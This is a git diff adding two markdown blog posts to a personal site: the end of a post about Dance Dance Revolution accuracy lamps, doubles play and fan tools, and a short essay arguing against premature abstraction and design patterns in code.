+Since DDR is still at its core a rhythm game, an important aspect of stepping on arrows is how _accurate_ the timing of your steps are.
+Steps are graded on a scale from
+    <span style="color:#C70039">MISS</span>,
+    <span style="color:#003399">GOOD</span>,
+    <span style="color:#336600">GREAT</span>,
+    <span style="color:#FFCC33; font-weight: bold; text-shadow:0px 0px 1px black">PERFECT</span>, and
+    <span style="color:#FFFFCC; font-weight: bold; text-shadow:0px 0px 1px black">MARVELOUS</span>,
+with a smaller hit window for the higher judgements.
+Lamps are awarded for clearing charts with no lower judgements:
+
+- No MISS = Full Combo (blue lamp)
+- No GOOD or lower = Great Full Combo (green lamp)
+- No GREAT or lower = Perfect Full Combo (gold lamp)
+- No PERFECT or lower = Marvelous Full Combo (white lamp)
+
+The coveted Marvelous Full Combo, or MFC for short, means you cleared the chart with a perfect score of 1,000,000.
+The best part about trying to achieve these lamps is that there is no difficulty minimum for this: you can achieve lamps on _any_ chart of _any_ difficulty.
+
+Even though I've been playing around 16s lately, but for accuracy, I usually play around 9s to 11s in order to achieve high accuracy.
+The judgement windows don't change, but if the BPM is slower and there's less gimmicks, then you can usually get yourself into a rhythm and hit the notes on time.
+For example, I just recently achieved my first Perfect Full Combo (PFC) on a level 9:
+
+![Perfect full combo](./pfc.jpeg)
+
+Taking this a step further, not only are individual songs awarded lamps for completion, but entire folders are awarded lamps for the completion of all songs within it.
+For example, to achieve the yellow clear lamp for the level 14 folder, I had to clear _all_ unlocked charts that were level 14:
+
+![14 clear lamp](./14clear.jpeg)
+
+This means that even if you get stuck at pushing high levels or high accuracy, you can still enjoy the game by clearing difficulties you already feel comfortable with while discovering new songs.
+Playing for completion really pushed me to explore the songs I didn't already know in this game.
+
+Through playing with the premium mode, you can also unlock songs during the extra stage (assuming you collect the 9 dots required to unlock the stage).
+If you play a song enough, you can unlock it permanently.
+There's also a course system where you can opt to play preset selections of songs in a row without stopping.
+Personally, I haven't put too much time into these yet, since I'm still so busy with the others.
+
+There's also **doubles play**, which is a lot of fun.
+This involves playing on _both_ dance pads at the same time, using all 8 arrows.
+Each song is specifically charted to use both pads in doubles play.
+
+In this mode, there's a lot of new moves that usually involve a variety of different kinds of crossovers.
+This is a good way to practice using crossovers more liberally, and just to get in some more cardio.
+I usually get in at least a game of doubles or two whenever I get the chance to have the machine for myself for a bit.
+
+Tools
+---
+
+[3icecream] is an indispensable tool when it comes to DDR.
+It has the following features:
+
+[3icecream]: https://3icecream.com
+
+- Scrapes your scores from Konami's website and displays them in listings
+- Provides links to Youtube videos for charts
+- Calculates relative chart difficulties based on user statistics for charts of the same level
+- Exports all scores as CSV
+
+In particular, the [difficulty list][7] is really helpful at finding "easy" charts.
+If I'm going for level 17 clears, I'd usually scroll down to the bottom of the 17 list and see what songs people have generally gotten better scores on.
+Even if you don't use the score tracking feature, I'd still recommend using this listing.
+
+[7]: https://3icecream.com/difficulty_list/15
+
+[Stepcharts] is another website that I've used to sort through and view charts when I'm not in front of a cab.
+It's also where I produced all the chart images for this blog post.
+
+[Stepcharts]: https://ddr.stepcharts.com/
+
+[Life4] is an unofficial ranking system for personal growth.
+I personally use this religiously as a way to motivate my improvement.
+So far, up to gold, it's been covering a wide variety of skills (like high level clears, repeated stamina sets, low level accuracy) at a wide variety of skill levels.
+If you're not sure which direction to improve, consider putting yourself on this ladder and going for the next rank!
+
+[Life4]: https://life4ddr.com/
+
+Wrap Up
+---
+
+That's it!
+I learned a lot about this game not just from playing but also reading and talking with some folks online and offline.
+There's an incredible wealth of information across the internet about this game, having been around for more than two decades now.
+While I'm certainly not even close to the end of my journey with DDR, I hope that you got to learn something from my experience.
+
+If there's something I got wrong, or some resources or information you want me to add, please let me know in the comments.
+**See you next time on the dance floor!**

src/content/posts/2024-06-21-coping-with-refactoring/index.md

@@ -0,0 +1,61 @@
+---
+title: Coping with refactoring
+date: 2024-06-21T05:56:50.594Z
+tags:
+  - engineering
+
+heroImage: ./ruinsHero.png
+heroAlt: ruins
+---
+
+It is the inevitable nature of code to be refactored. How do we make it a less
+painful process?
+
+A not-horrible approach to creating a piece of software by first developing the
+happy path, and then adding extra code to handle other cases. When we do this,
+we may find that patterns emerge and some parts may be abstracted out to make
+the code cleaner to read. This makes sense.
+
+It seems that many engineers decided that this process of abstracting is too
+painful and started using other people's abstractions pre-emptively in order to
+avoid having to make a lot of code changes. They may introduce patterns like the
+ones described in the GoF Design Patterns book.
+
+Some abstractions may be simple to understand. But more often, they almost
+always make the code longer and more complex. And sometimes, as a part of this
+crystal ball future-proofing of the code, you may make a mistake :scream:. At
+some point, you will have to change a lot more code than you would've had to if
+you didn't start trying to make a complex design to begin with. It's the exact
+same concept as the adage about [premature optimization][2].
+
+[2]: https://en.wikipedia.org/wiki/Program_optimization
+
+As an example, as a part of one of my previous jobs, I was reviewing code that
+created _10+ classes_ that included strategy patterns and interfaces. The code
+was meant to be generic over something that could be 1 of 4 possibilities. But
+the 4 possibilities would basically never change. The entire setup could've been
+replaced with a single file with a 4-part if/else statement.
+
+I'm not saying that design patterns aren't useful. If we had more possibilities,
+or needed to make it so that programmers outside our team had to be able to
+introduce their own options, then we would have to rethink the design. But
+changing an if statement in a single file is trivial. Changing 10+ files and all
+the places that might've accidentally referenced them is not.
+
+Some people think they can dodge the need to refactor by just piling more
+abstractions on top, in a philosophy known as ["Open to extension, closed to
+modification."][1] I think this is just a different, more expensive form of
+refactoring. Increasing the number of objects just increases the amount of code
+you need to change in the future should requirements or assumptions change.
+
+[1]: https://en.wikipedia.org/wiki/Open%E2%80%93closed_principle
+
+So the next time you're thinking of introducing design patterns and creating a
+boat load of files to hide your potential complexity into, consider whether the
+cost of adding that abstraction is worth the pain it will take to change it
+later.
+
+> [!admonition: NOTE]
+> As a bonus, if your language has a good enough type system, you probably don't
+> need the strategy pattern at all. Just create a function signature and pass
+functions as values!